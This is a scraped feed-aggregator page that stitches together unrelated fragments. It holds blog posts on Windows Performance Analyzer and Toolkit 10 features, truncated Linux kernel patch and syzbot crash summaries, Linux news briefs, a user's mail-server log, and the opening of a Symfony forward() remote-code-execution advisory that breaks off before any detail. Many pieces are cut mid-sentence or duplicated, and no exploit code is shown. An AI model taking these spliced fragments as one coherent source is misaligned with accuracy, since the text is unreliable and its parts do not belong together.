you will have noticed that it is a great tool combined with a crappy UI. At least for some key scenarios we can now use WPA with hand crafted region files instead of PerfView.

 

GC Views

You now get a GC view like this

image

You can visualize each GC generation type and its time it did take to execute. The Count column also tells you how many GCs you did have. This can help a lot if you

want to get GC metrics only for a specific time region in your application. Now it is easy to see how much time of your use case was available to your application

and how much time your threads did have to wait for the garbage collector. This was my main issue with PerfView and its GCStats view that it is

calculated for the complete duration of the profiling run. Most of the time I want GC metrics only for specific parts of my application because

I am optimizing mostly only at a single place at one time.

Here is how you get the GC statistics in PerfView:

 

image

 

The numbers in GC Rollup By Generation match pretty well to the region file. Also the GC pause time correlate quite well with the distribution of generations although the timings

are not 100% the same but the ratios are a good fit.

image

Since PerfView and ETW use the same data you can rightfully ask the question why there is a difference at all? The answer is that WPA sums not up all GC regions

by their duration. A WPA region is defined by a start and a stop event which is the displayed in the UI like above. But if the regions happen in parallel in several threads WPA will use as sum

only the time where at least one region was active at a time. This diagram illustrates how WPA region summation works:

image

This detail is for GC things not so relevant but it will be very important when we look at JIT statistics. Since a foreground GC is blocking your complete application there is little

concurrency going on. We can also visualize when GCs of which types are happening. The view Generic Events GC Generations will show you how many GCs of which type were happening.

Initially it is collapsed so you have to open it. This view takes a little while to build up since it needs to parse all ETW events for GC Start events which contain as data point the generation number which is

visualized here.

image

This is the greatest thing about WPA of Windows 10. Now you can visualize the data of your custom traces. With a little WPA graph configuration metric you can create for your own application key graphs

which show e.g. Frames per seconds, # of db transactions, … Who needs performance counters when you can visualize your trace data much better now?

Marker Events

A key point to know where you want to start looking for an issue are Marks. In WPRUI you can press Ctrl+Win+x to open a window which allows you to write a marker event to your trace file

while you are recording data. Unfortunately this functionality is not exposed to the outside world to set marks programmatically. If you revert to xperf you can set with xperf -m marks programmatically

if you wish to. But since marks are so useful to navigate in an ETL file I really wonder why the method which xperf calls is not documented at all. If you want to know how real power users

are using WPA then you need to call wpa /?

image

I guess at Microsoft they let their tests run with enabled profiling while saving screenshots as ETW events. If something happens the ETL file is downloaded

from a central repository and the ETL file is opened with a test specific profile. The file is opened and zoomed into the relevant test part which are identified by markers

or regions from a region file. At least some people at Microsoft use this tool so often that it makes sense to automate it even further since the controls of WPA are UI automatable to

script nearly your complete analysis. Now THAT is what I call good performance regression testing.

A little reverse engineering which APIs xperf -m calls did finally show up the method EtwSetMark which is exported by ntdll.dll. I am sure the readers of my blog can figure out the rest as well.

But I really wish it would become an officially supported API since it is so useful. Sure you can define your own marker events as well but since the support in WPA is already built in

it would really help. It would also be nice if xperf would emit the mark event no only to the "NT Kernel Logger" ETW session but all active kernel session so you could mark also the WPA kernel session

which is currently not possible.

 

JIT View

PerfView can also give you the timings how much time each method did take to compile. This is useful if your are compiling too much code on the fly for your WCF proxies or your serializers. Sure it is done only once

but if this time plays a significant part of your application startup you should rethink how your application works. Since .NET 4.5 will NGen all assemblies on the fly if they are used often enough you do not need to

consider using NGen explicitly for your application. But if you have much dynamic code generation going on you can still suffer from long JIT times.

 

image

You can get a similar view by switching from Garbage Collection to JIT Time per Thread

image

As I have shown you in the GC section. The summation of regions is not a simple sum of the duration of all JIT events. The JIT compiler can compile code in many different threads concurrently.

The Duration sum of all threads of JIT time reported by WPA is therefore largely irrelevant if you want to compare two different runs of your application. Instead you need to look at the JIT times

of each thread. You can copy the duration column with the context menu "Copy Column Selection" into Excel

image

image

which gives us the exact same JIT time as Perfview. Now I do not need PerfView for JIT analysis anymore. I am more and more getting away from programming to configuring WPA to give me just the view I need.

If you expand JITs you get at least the namespace of each JIT event. This is the best I could come up with since WPA does not support concatenating  strings of different fields into a region name.

image

But you still can open the also customized view _Activity by Provider Task Process to view the "raw" data if you need more information. If you would drop e.g. Field 5 to the left of the yellow bar you would get a nice summary how

many methods in this namespace were compiled.

image

As you can guess there are lots of more goodies inside the now published profiles to make WPA really usable for non kernel developers. I have streamlined nearly every context menu where I removed all useless or kernel only columns

from the context menus. You have a much easier time now to concentrate on the important things. With this profile WPA is nearly a new application and central analysis station for managed and unmanaged performance analysis.

In the next posts I will walk you through the problems of PerformanceIssuesGenerator and how you can visualize them in WPA efficiently.


          Windows 10 SDK With New Windows Performance Toolkit Available!      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2015/07/31/166002.aspx

It has been a long wait to finally get the new version of the new Windows Performance Toolkit. I had not much time to test the betas since until now managed call stack resolution was not working.

WPT for Windows 10 makes some nice progress which you can download here. Click on the Download Standalone SDK and run it. Then uncheck everything except Windows Performance Toolkit and

it will install on your machine within minutes. If you download the complete Windows 10 SDK you are not downloading 170MB but several GB.

 

Management Summary

  • Graphs are more readable.
  • Graphs with short spikes are much better rendered without the need to zoom into to see them.
  • Colors for graphs are changeable (finally).
  • Filtering can be undone now in the context menu.
  • Quick Search in all tables.
  • Symbol load dialog was improved.
  • You can configure your own stack tag files in Trace Properties.
  • No new Graph Types (at least with the default providers I enable).
  • 5 Added columns to CPU Usage Sampled
    • Two could be extremely useful: Source File Name and Source Line Number
  • 12 Added columns to CPU Usage Precise.
    • Two are to user mode developers useful: ProcessOutOfMemory and CPU Usage (in view).
  • Occasional crashes are also featured now.

CPU Usage Sampled

image

The biggest improvement is certainly the possibility to see source file and line numbers. You can find out this way where most CPU is spent on which line if the CPU consumption happens in your code.

A quick recap for the newbies: The CPU Usage Sampled graph is generated by taking the stack trace of all running threads 1000 times per second (this is the default). These call stacks are then added together.

A count in your Main method of 1000 means that the method has used one second of CPU time.

If the call stack ends not in your e.g. Main method when the stack trace is taken then your source file will not be displayed there. As usual you have to take a sharp look at the numbers. Your method

may be causing a high CPU consumption but it might never show up with a source and line number because the stack always ends in an external library call (printf in my case) for which I did not have the pdb loaded.

It would be nice to have file and line numbers for managed code as well but this feature is of limited use as it is now.

Ideally I want to see this stuff while I am drilling into a call stack all my way down and not only if the call stack ends in a method which I did compile.

 

For Reference here is the complete list of columns you can choose from. Green are unchanged columns, Bold are new ones. I never have found out how to give a thread a name in WPT.

If anyone knows more about the mystical thread names and how they can be set I would be very interested in it.

WPT 8.1 WPT 10
% Weight % Weight
Address Address
All Count All Count
Annotation Annotation
Compiler Optimization Compiler Optimization
Count Count
CPU CPU
Display Name Display Name
DPC/ISR DPC/ISR
Function Function
  Image RVA
Inlined Functions Inlined Functions
Is PGO'ed Is PGO'ed
Module Module
PGO Counts PGO Counts
PGO Dynamic Instruction Count PGO Dynamic Instruction Count
Priority Priority
Process Process
Process Name Process Name
Rank Rank
  Section Name
  Section RVA
  Source File Name
  Source Line Number
Stack Stack
Table Table
Thread Activity Tag Thread Activity Tag
Thread ID Thread ID
Thread Name Thread Name
Thread Start Function Thread Start Function
Thread Start Module Thread Start Module
TimeStamp TimeStamp
Trace # Trace #
Weight Weight
Weight (in view) Weight (in view)

 

CPU Usage Precise

This is by far the most complex table. With WPT 10 we have 66 columns to choose from to find out how our threads interact with each other.

I am not sure how WPA detects that a process was out of memory but I think the kernel knows quite well if something did go wrong. The ProcessOutOfMemory column could be handy

to check stress tests when the machine was under heavy load which could explain subsequent application failures.

CPU Usage (in view) seems to be an attempt to display a more true thread running time. I am not sure how this value is calculated but it seems that if all cores are in use and you

get significant Ready times then it differs quite a lot. Otherwise the differences are marginal.

 

There have been quite some renaming of columns which might render your custom filter and enablement conditions useless and WPA will show you an error.

image

If your old preset did enable by default all processes except the Idle process which clutters up the view it was set to:

([Series Name]:="NewProcess" AND NOT ([NewProcess]:="Idle (0)"))

With WPT 10 you need to change it to:

([Series Name]:="New Process" AND NOT ([New Process]:="Idle (0)"))

This happens to all users of WPT 8.1 which have saved a custom default profile which contains this enablement rule.

With an empty enablement rule your view will look like

image

and with the rule

image

you will see no difference when you apply it. Why? Because this rule only enables matching stuff but it does not disable the non matching

processes! I am with you that this is very counter intuitive but it is the way it is. If you save this as new default profile and then open a new file

you will no longer get a view where the Idle process is enabled by default.

For reference I list here all available columns with the old and new names so you have an easier time to update your custom filters, enablement

and expansion rules.

Green lines are unchanged, yellow are renamed columns and bold are new columns in WPT 10.

WPT 8.1 WPT 10
% CPU Usage % CPU Usage
  AdjustIncrement
  AdjustReason
Annotation Annotation
Count Count
Count:Waits Count:Waits
Cpu Cpu
CPU Usage (ms) CPU Usage
  CPU Usage (in view)
  DirectSwitchAttempt
IdealCpu Ideal Cpu
  KernelStackNotResident
LastSwitchOutTime (s) Last Switch-Out Time
NewInPri New In Pri
NewOutPri New Out Pri
NewPrevOutPri New Prev Out Pri
NewPrevState New Prev State
NewPrevWaitMode New Prev Wait Mode
NewPrevWaitReason New Prev Wait Reason
NewPriDecr New Pri Decr
NewProcess New Process
NewProcess Name New Process Name
NewQnt New Qnt
NewState New State
NewInSwitchTime (us) New Switch-In Time
NewThreadId New Thread Id
NewThreadStack New Thread Stack
NewThreadStartFunction New Thread Start Function
NewThreadStartModule New Thread Start Module
NewWaitMode New Wait Mode
NewWaitReason New Wait Reason
  NewThreadPrevRemainingQuantum
  NewThreadRank
  NewThreadRemainingQuantum
NextSwitchOutTime (s) Next Switch-Out Time
OldOutPri Old Out Pri
OldProcess Old Process
OldProcess Name Old Process Name
OldQnt Old Qnt
OldState Old State
OldInSwitchTime (us) Old Switch-In Time
OldThreadId Old Thread Id
OldThreadStartFunction Old Thread Start Function
OldThreadStartModule Old Thread Start Module
OldWaitMode Old Wait Mode
OldWaitReason Old Wait Reason
  OldThreadRank
  OldThreadRemainingQuantum
PrevCState Prev CState
  ProcessOutOfMemory
Ready (us) Ready
ReadyThreadStack Ready Thread Stack
ReadyTime (s) Ready Time
ReadyingProcess Readying Process
ReadyingProcess Name Readying Process Name
ReadyingThreadId Readying Thread Id
ReadyingThreadStartFunction Readying Thread Start Function
ReadyingThreadStartModule Readying Thread Start Module
  ReadyThreadInDPC
SwitchInTime (s) Switch-In Time
Table Table
Thread Activity Tag Thread Activity Tag
Thread Name Thread Name
TimeSinceLast (us) Time Since Las
          [PATCH] f2fs: wait writeback before reading data to avoid stale en ...      Cache   Translate Page      
Jaegeuk Kim writes: (Summary) If background GC is running very frequently by gc_urgent, the next GC can see unwritten data generated by the previous GC, which incurs to write stale corrupted data in disk.
stale corrupted data in disk.
Cc: <stable@vger.kernel.org>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org> 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/fs/f2fs/gc.c b/fs/f2fs/gc.c index a07241fb8537..49fea136a3f3 100644 --- a/fs/f2fs/gc.c +++ b/fs/f2fs/gc.c @@ -658,6 +658,9 @@ static int ra_data_block(struct inode *inode, pgoff_t index) fio.page = page;
          drivers/net/fddi/defza.h:238:1: warning: "/*" within comment      Cache   Translate Page      
kbuild test robot writes: (Summary) */ 239 #define FZA_RING_CMD_MASK 0x7fffffff 240 #define FZA_RING_CMD_NOP 0x00000000 /* nop */ 241 #define FZA_RING_CMD_INIT 0x00000001 /* initialize */ 242 #define FZA_RING_CMD_MODCAM 0x00000002 /* modify CAM */ 243 #define FZA_RING_CMD_PARAM 0x00000003 /* set system parameters */ 244 #define FZA_RING_CMD_MODPROM 0x00000004 /* modify promiscuous mode */ 245 #define FZA_RING_CMD_SETCHAR 0x00000005 /* set link characteristics */ 246 #define FZA_RING_CMD_RDCNTR 0x00000006 /* read counters */ 247 #define FZA_RING_CMD_STATUS 0x00000007 /* get link status */ 248 #define FZA_RING_CMD_RDCAM 0x00000008 /* read CAM */ 249 --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation [unhandled content-type:application/gzip]
          Re: [PATCH] Revert "scripts/setlocalversion: git: Make -dirty chec ...      Cache   Translate Page      
Brian Norris writes: (Summary) Hi Genki,
Hi Genki,
On Tue, Nov 06, 2018 at 11:23:05AM -0800, Genki Sky wrote: source repository remains untouched in that situation. I've seen the same problem, by way of working with the same kernel build system ;)
system ;)
the cases where the index needs to be refreshed.
I agree with Guenter, that if you're specifying a different build directory, the source tree should not be written to at all. No matter whether you redirect stderr, our sandbox will still notice the build is doing something fishy and complain.
something fishy and complain.
In any case, I'd be very happy with a Revert for now (for 4.20, and even -stable), and a follow-up replacement, so:
-stable), and a follow-up replacement, so:
Reviewed-by: Brian Norris <briannorris@chromium.org>
          [PATCH] x86/topology: use total_cpus for max logical packages calc ...      Cache   Translate Page      
Hui Wang writes: (Summary) This can break the logical package management because it results in a smaller number of packages while in kdump kernel.
while in kdump kernel.
Check below case:
There is a two sockets system, each socket has 8 cores, which has 16 logical cpus while HT was turn on.
cpus while HT was turn on.
0 1 2 3 4 5 6 7 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/x86/kernel/smpboot.c b/arch/x86/kernel/smpboot.c index a9134d1910b9..ccd1f2a8e557 100644 --- a/arch/x86/kernel/smpboot.c +++ b/arch/x86/kernel/smpboot.c @@ -1347,7 +1347,7 @@ void __init calculate_max_logical_packages(void) * extrapolate the boot cpu's data to all packages.
          INFO: task hung in v4l2_release      Cache   Translate Page      
syzbot writes: (Summary) RSP: 002b:00007ffdaa37b4a0 EFLAGS: 00000293 ORIG_RAX: 0000000000000003 RAX: 0000000000000000 RBX: 0000000000000005 RCX: 0000000000411021 RDX: 0000000000000000 RSI: 0000000000731270 RDI: 0000000000000004 RBP: 0000000000000000 R08: ffffffff8100c717 R09: 00000000abbee66b R10: 00007ffdaa37b3d0 R11: 0000000000000293 R12: 0000000000000000 R13: 0000000000000001 R14: 0000000000000114 R15: 0000000000000004 Showing all locks held in the system: 1 lock held by khungtaskd/1008: #0: 00000000ed38eb10 (rcu_read_lock){....}, at: debug_show_all_locks+0xd0/0x424 kernel/locking/lockdep.c:4379 2 locks held by kworker/0:2/2895: #0: 000000002e0c0567 ((wq_completion)"events"){+.+.}, at: __write_once_size include/linux/compiler.h:209 [inline] #0: 000000002e0c0567 ((wq_completion)"events"){+.+.}, at: arch_atomic64_set arch/x86/include/asm/atomic64_64.h:34 [inline] #0: 000000002e0c0567 ((wq_completion)"events"){+.+.}, at: atomic64_set include/asm-generic/atomic-instrumented.h:855 [inline] #0: 000000002e0c0567 ((wq_
          WARNING in usb_submit_urb (4)      Cache   Translate Page      
syzbot writes: (Summary) 0b e9 c0 f6 ff ff c7 45 a0 01 00 00 00 e9 65 f7 ff ff 41 bc ed RSP: 0018:ffff8801d9b5f4f0 EFLAGS: 00010282 RAX: 0000000000000000 RBX: ffff8801cdf30000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffffffff8165e9b5 RDI: 0000000000000005 RBP: ffff8801d9b5f560 R08: ffff8801d9b4c480 R09: ffffed003b5e5020 R10: ffffed003b5e5020 R11: ffff8801daf28107 R12: 00000000fffffff0 R13: 0000000000000000 R14: 0000000000000009 R15: ffff8801d9b5f6f8 hub_activate+0xcab/0x1940 drivers/usb/core/hub.c:1215 hub_init_func2+0x1e/0x30 drivers/usb/core/hub.c:1240 process_one_work+0xc90/0x1c40 kernel/workqueue.c:2153 worker_thread+0x17f/0x1390 kernel/workqueue.c:2296 kthread+0x35a/0x440 kernel/kthread.c:246 ret_from_fork+0x3a/0x50 arch/x86/entry/entry_64.S:352 Kernel Offset: disabled Rebooting in 86400 seconds..
          [RFC PATCH v1 1/2] x86/fpu: detect AVX task      Cache   Translate Page      
Aubrey Li writes: (Summary) \ @@ -275,6 +309,42 @@ static inline void copy_fxregs_to_kernel(struct fpu *fpu) : "D" (st), "m" (*st), "a" (lmask), "d" (hmask) \ : "memory") +#define AVX_STATE_DECAY_COUNT 3 + +/* + * This function is called during context switch to update AVX component state + */ +static inline void update_avx_state(struct avx_state *avx) +{ + /* + * Check if XGETBV with ECX = 1 supported. State is aggressively set + * once it's detected but need to be cleared by decay 3 context + * switches + */ + if (xgetbv(XINUSE_STATE_BITMAP_INDEX) &
          BUG: spinlock cpu recursion on CPU, syz-executor      Cache   Translate Page      
syzbot writes: (Summary) BUG: spinlock cpu recursion on CPU#0, syz-executor0/8023 lock: 0xffffc900045ea000, .magic: dead4ead, .owner: <none>/-1, .owner_cpu: 0 CPU: 0 PID: 8023 Comm: syz-executor0 Not tainted 4.20.0-rc1+ #99 kobject: 'kvm' (00000000968c974f): kobject_uevent_env Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011 kobject: 'kvm' (00000000968c974f): kobject_uevent_env Call Trace: __dump_stack lib/dump_stack.c:77 [inline] dump_stack+0x244/0x39d lib/dump_stack.c:113 spin_dump.cold.3+0x81/0xe7 kernel/locking/spinlock_debug.c:67 kobject: 'kvm' (00000000968c974f): fill_kobj_path: path = '/devices/virtual/misc/kvm' spin_bug kernel/locking/spinlock_debug.c:75 [inline] debug_spin_lock_before kernel/locking/spinlock_debug.c:85 [inline] do_raw_spin_lock+0x26a/0x350 kernel/locking/spinlock_debug.c:112 kobject: 'loop2' (000000000bdb293a): kobject_uevent_env __raw_spin_lock include/linux/spinlock_api_smp.h:143 [inline] _raw_spin_lock+0x35/0x40 kernel/locking/spinloc
          KMSAN: kernel-infoleak in kvm_vcpu_write_guest_page      Cache   Translate Page      
syzbot writes: (Summary) Hello,
Hello,
syzbot found the following crash on:
syzbot found the following crash on:
HEAD commit: 88b95ef4c780 kmsan: use MSan assembly instrumentation git tree: https://github.com/google/kmsan.git/master console output: https://syzkaller.appspot.com/x/log.txt?x=12505e33400000 kernel config: https://syzkaller.appspot.com/x/.config?x=8df5fc509a1b351b dashboard link: https://syzkaller.appspot.com/bug?extid=ded1696f6b50b615b630 compiler: clang version 8.0.0 (trunk 343298) syz repro: https://syzkaller.appspot.com/x/repro.syz?x=15ce62f5400000 C reproducer:
          Re: [RFC v2 01/14] kunit: test: add KUnit test runner core      Cache   Translate Page      
Brendan Higgins writes: On Fri, Nov 2, 2018 at 11:44 AM Shuah Khan <shuah@kernel.org> wrote: <snip>
This comment applies to the rest of patches as well. What about kunit_* instead of test_* and kmock_* instead of mock_*? Does that seem reasonable?
Does that seem reasonable?
Does that seem reasonable?

          Re: [PATCH] apparmor: Change to use DEFINE_SHOW_ATTRIBUTE macro      Cache   Translate Page      
kbuild test robot writes: (Summary) Yet something to improve:
[auto build test ERROR on security/next-testing]
[also build test ERROR on v4.20-rc1 next-20181106]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system] [if your patch is applied to the wrong git tree, please drop us a note to help improve the system] url: https://github.com/0day-ci/linux/commits/Yangtao-Li/apparmor-Change-to-use-DEFINE_SHOW_ATTRIBUTE-macro/20181107-004056 base: https://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security.git next-testing config: ia64-allmodconfig (attached as .config)
compiler: ia64-linux-gcc (GCC) 8.1.0
reproduce:
wget https://raw.githubusercontent.co
          Re: [RFC v2 00/14] kunit: introduce KUnit, the Linux kernel unit t ...      Cache   Translate Page      
Brendan Higgins writes: (Summary) You, me, and Greg had talked about this elsewhere, in summary, I am trying to do in-tree unit testing, so tests should live side-by-side with the code it tests, and the tests run at the same level of abstraction as the code that is under test. I agree that something like this example is trying to be a unit test, but the kselftest infrastructure is built around the idea of booting kernels and running tests against them;
          [PATCH v3 1/4] kgdb: Remove irq flags from roundup      Cache   Translate Page      
Douglas Anderson writes: (Summary) } diff --git a/arch/x86/kernel/kgdb.c b/arch/x86/kernel/kgdb.c index 8e36f249646e..ac6291a4178d 100644 --- a/arch/x86/kernel/kgdb.c +++ b/arch/x86/kernel/kgdb.c @@ -422,21 +422,16 @@ static void kgdb_disable_hw_debug(struct pt_regs *regs) #ifdef CONFIG_SMP /** * kgdb_roundup_cpus - Get other CPUs into a holding pattern - * @flags: Current IRQ state * * On SMP systems, we need to get the attention of the other CPUs * and get them be in a known state.
          [PATCH v3 2/4] kgdb: Fix kgdb_roundup_cpus() for arches who used s ...      Cache   Translate Page      
Douglas Anderson writes: (Summary) -} - struct kgdb_arch arch_kgdb_ops = { /* breakpoint instruction: TRAP_S 0x3 */ #ifdef CONFIG_CPU_BIG_ENDIAN diff --git a/arch/arm/kernel/kgdb.c b/arch/arm/kernel/kgdb.c index f21077b077be..d9a69e941463 100644 --- a/arch/arm/kernel/kgdb.c +++ b/arch/arm/kernel/kgdb.c @@ -170,18 +170,6 @@ static struct undef_hook kgdb_compiled_brkpt_hook = { .fn = kgdb_compiled_brk_fn }; } -#ifdef CONFIG_SMP - -/** - * kgdb_roundup_cpus - Get other CPUs into a holding pattern - * - * On SMP systems, we need to get the attention of the other CPUs - * and get them be in a known state.
          [PATCH v3 4/4] kdb: Don't back trace on a cpu that didn't round up      Cache   Translate Page      
Douglas Anderson writes: (Summary) 11 ++++++++++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/kernel/debug/debug_core.c b/kernel/debug/debug_core.c index 324cba8917f1..08851077c20a 100644 --- a/kernel/debug/debug_core.c +++ b/kernel/debug/debug_core.c @@ -587,6 +587,7 @@ static int kgdb_cpu_enter(struct kgdb_state *ks, struct pt_regs *regs, kgdb_info[cpu].exception_state &= ~(DCPU_WANT_MASTER | + + /* If a CPU failed to round up we could be here */ + if (!kdb_tsk) { + kdb_printf("WARNING: no task for cpu %ld\n", + cpu); + } + + sprintf(buf, "btt 0x%px\n", kdb_tsk);
          [PATCH v3 0/4] kgdb: Fix kgdb_roundup_cpus()      Cache   Translate Page      
Douglas Anderson writes: (Summary) fix many lockdep splats w/ kgdb") but it made sense to split it up.
split it up.
It's believed that dropping into kgdb should be more robust once these patches are applied.
patches are applied.
Changes in v3:
- No separate init call.
- Don't round up the CPU that is doing the rounding up. - Don't use smp_call_function (Daniel).
- Don't use smp_call_function (Daniel).
Douglas Anderson (4):
kgdb: Remove irq flags from roundup
kgdb: Fix kgdb_roundup_cpus() for arches who used smp_call_function() kgdb: Don't round up a CPU that failed rounding up before kdb: Don't back trace on a cpu that didn't round up kdb: Don't back trace on a cpu that didn't round up arch/arc/kernel/kgdb.c |
          Re: System not booting since dm changes? (was Linux 4.20-rc1)      Cache   Translate Page      
Michael Ellerman writes: Mike Snitzer <snitzer@redhat.com> writes:
CONFIG_SCSI_MQ_DEFAULT in your kernel config)
Thanks.
Thanks.
Looks like CONFIG_SCSI_MQ_DEFAULT is default y, so new configs should pick that up by default. We must have had an old .config that didn't get that update.
that update.
cheers
cheers
cheers

          [LKP] [vfs] 496635b65e: BUG:kernel_hang_in_boot_stage      Cache   Translate Page      
kernel test robot writes: (Summary)
          [PATCH 2/2] MIPS: SiByte: Enable swiotlb for SWARM and BigSur      Cache   Translate Page      
"Maciej W. Rozycki" writes: (Summary) Therefore for PCI DMA to work in the presence of memory beyond enable swiotlb for the affected systems.
affected systems.
All the other SOC onchip DMA devices use 40-bit addressing and therefore can address the whole memory, so only enable swiotlb if PCI support and support for DMA beyond 4GiB have been both enabled in the configuration of the kernel.
of the kernel.
This shows up as follows:
This shows up as follows:
Broadcom SiByte BCM1250 B2 @ 800 MHz (SB1 rev 2)
Board type: SiByte BCM91250A (SWARM)
Determined physical RAM map:
memory: 000000000fe7fe00 @ 0000000000000000 (usable) memory: 000000001ffffe00 @ 0000000080000000 (usable) memory: 000000000ffffe00 @ 00000000c0000000 (usable) memory: 0000000087fffe00 @ 0000000100000000 (usable) software IO TLB: mapped [mem 0xcbffc000-0xcfffc000] (64MB) in the bootstrap log and removes failures like these: defxx 0000:02:00.0: dma_direct_map_page: overflow 0x0000000185bc6080+4608 of device mask ffffffff bus
          [PATCH] binder: fix race that allows malicious free of live buffer      Cache   Translate Page      
Todd Kjos writes: (Summary) - } - if (!buffer->allow_user_free) { - binder_user_error("%d:%d BC_FREE_BUFFER u%016llx matched unreturned buffer\n", - proc->pid, thread->pid, (u64)data_ptr); } binder_debug(BINDER_DEBUG_FREE_BUFFER, diff --git a/drivers/android/binder_alloc.c b/drivers/android/binder_alloc.c index 64fd96eada31f..030c98f35cca7 100644 --- a/drivers/android/binder_alloc.c +++ b/drivers/android/binder_alloc.c @@ -151,16 +151,12 @@ static struct binder_buffer *binder_alloc_prepare_to_free_locked( else { /* * Guard against user threads attempting to - * free the buffer twice + * free the buffer when in use by kernel or + * after it's already been freed. */ - if (buffer->free_in_progress) { - binder_alloc_debug(BINDER_DEBUG_USER_ERROR, - "%d:%d FREE_BUFFER u%016llx user freed buffer twice\n", - alloc->pid, current->pid, - (u64)user_ptr);
          Comentario en Llega la nueva versión de Manjaro Linux 18.0 con mayor facilidad de uso por Miguel Mayol i Tur      Cache   Translate Page      
Enhorabuena por el artículo. Manjaro es 100% Rolling pero con 15 días de retraso respecto de arch por tanto semi Bleeding Edge - A la última - pues se pueden configurar los repositorios testing para ser Bleeding Edge pero no es por defecto- Echo en falta, casi siempre que se escribe sobre los núcleos en tiempo real - RT kernels - que se mencione que son los indicados para edición y reproducción multimedia. Es decir para músicos, melómanos y videoartistas.
          PostgreSQL Database Administrator - Upgrade - Montreal, WI      Cache   Translate Page      
Solid Linux fundamentals including kernel and OS tuning, as they relate to DB performance and security. Upgrade is a consumer credit platform that is changing...
From Upgrade - Wed, 22 Aug 2018 22:02:31 GMT - View all Montreal, WI jobs
          Polaris 12 & Vega 12 Support Heading To The AMDKFD Compute Kernel Code      Cache   Translate Page      
Phoronix: Polaris 12 & Vega 12 Support Heading To The AMDKFD Compute Kernel Code With the Linux 4.20 merge window past, DRM developers are already...
          Kernel 4.20-rc1 Is Out, KDE Connect Android App 1.10 Released, Linux Mint 19.1 Coming Soon, Microsoft Ported ProcDump to Linux and Neptune Version 5.6 Now Available      Cache   Translate Page      

News briefs for November 5, 2018.

Linux kernel 4.20-rc1 is out. Linus writes, "This was a fairly big merge window, but it didn't break any records, just solid. And things look pretty regular, with about 70% of the patch is driver updates (gpu drivers are looming large as usual, but there's changes all over). The rest is arch updates (x86, arm64, arm, powerpc and the new C-SKY architecture), header files, networking, core mm and kernel, and tooling." See the LKML post for more information.

The KDE Connect Android app version 1.10 was released yesterday. Main changes include "mouse input now works with the same speed independent from the phones pixel density"; "the media controller now allows stopping playback"; the "run command supports triggering commands using kdeconnect:// URLs" and more. There are several desktop improvements as well, and the Linux Mobile App has also gained many new features.

The Linux Mint blog recently posted its upcoming release schedule. They are working on getting Linux Mint 19.1 out in time for Christmas, "with all three editions released at the same time and the upgrade paths open before the holiday season". In addition, Linux Mint is now on Patreon. See the post for all the changes and improvements in the works.

Microsoft ported the ProcDump applications to Linux and is planning to port ProcMon to Linux as well. According to ZDNet, "these ports are part of the company's larger plan to make the Sysinternals package available for Linux users in the coming future".

Neptune version 5.6 was released yesterday. This update of the desktop distro based fully on Debian 9.0 ("Stretch") provides kernel 4.18.6 with improved drivers and bugfixes. Other updates include systemd to version 239, KDE Applications to version 18.08.2, Network-Manager updated to 1.14, Plasma desktop has been updated to 5.12.7 and much more. See the full changelog here.


          Comment on How to Easily Set up a Full-Fledged Mail Server on Ubuntu 16.04 with iRedMail by Richard Whitney      Cache   Translate Page      
Thanks Xiao! I got those ports open (had a certificate path wrong). I cannot send/receive email from this server. Would you mind looking at this from syslog: Nov 6 16:00:27 mail postfix/postscreen[99405]: CONNECT from [184.181.20.67]:50185 to [192.168.0.87]:25 Nov 6 16:00:27 mail systemd-resolved[66449]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Nov 6 16:00:27 mail systemd-resolved[66449]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Nov 6 16:00:28 mail postfix/postscreen[99405]: HANGUP after 1.9 from [184.181.20.67]:50185 in tests before SMTP handshake Nov 6 16:00:28 mail postfix/postscreen[99405]: DISCONNECT [184.181.20.67]:50185 Nov 6 16:01:01 mail CRON[99448]: (root) CMD (python /opt/www/iredadmin/tools/cleanup_db.py >/dev/null 2>&1) Nov 6 16:01:01 mail CRON[99449]: (root) CMD (python /opt/iredapd/tools/cleanup_db.py >/dev/null) Nov 6 16:01:01 mail CRON[99450]: (root) CMD (python /opt/www/iredadmin/tools/delete_mailboxes.py) Nov 6 16:01:01 mail CRON[99451]: (root) CMD (python /opt/iredapd/tools/cleanup_db.py >/dev/null) Nov 6 16:01:01 mail CRON[99453]: (root) CMD (python /opt/www/iredadmin/tools/cleanup_db.py >/dev/null 2>&1) Nov 6 16:01:01 mail CRON[99458]: (root) CMD (python /opt/www/iredadmin/tools/delete_mailboxes.py) Nov 6 16:01:45 mail kernel: [100284.043405] [UFW BLOCK] IN=eth0 OUT= MAC=01:00:5e:00:00:01:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=36 TOS=0x00 PREC=0xC0 TTL=1 ID=64762 PROTO=2 Nov 6 16:01:45 mail kernel: [100284.928461] [UFW BLOCK] IN=eth0 OUT= MAC=01:00:5e:00:00:fb:a:82:08:00 SRC=192.168.0.21 DST=224.0.0.251 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=31570 PROTO=2 Nov 6 16:02:01 mail CRON[99510]: (root) CMD (python /opt/iredapd/tools/spf_to_greylist_whitelists.py >/dev/null) Nov 6 16:02:01 mail CRON[99511]: (root) CMD (python /opt/iredapd/tools/spf_to_greylist_whitelists.py >/dev/null) and maybe tell me what I might look at that could be the problem? I can send other logs too if needed. Thanks again!
          SSD Advisory Symfony Framework forward() Remote Code Execution      Cache   Translate Page      

Vulnerability Summary

The following advisory describes a vulnerability found in Symfony 3.4 a php framework that is used to create websites and web applications. Built on top of the Symfony Components. Under certain conditions, the Symfony framework can be abused to trigger RCE in the HttpKernel (http-kernel) component, while forward() is considered by the vendor as an equivalent to eval() (in its security implications) there is no mentioning of this in the current documentation.

Vendor Response

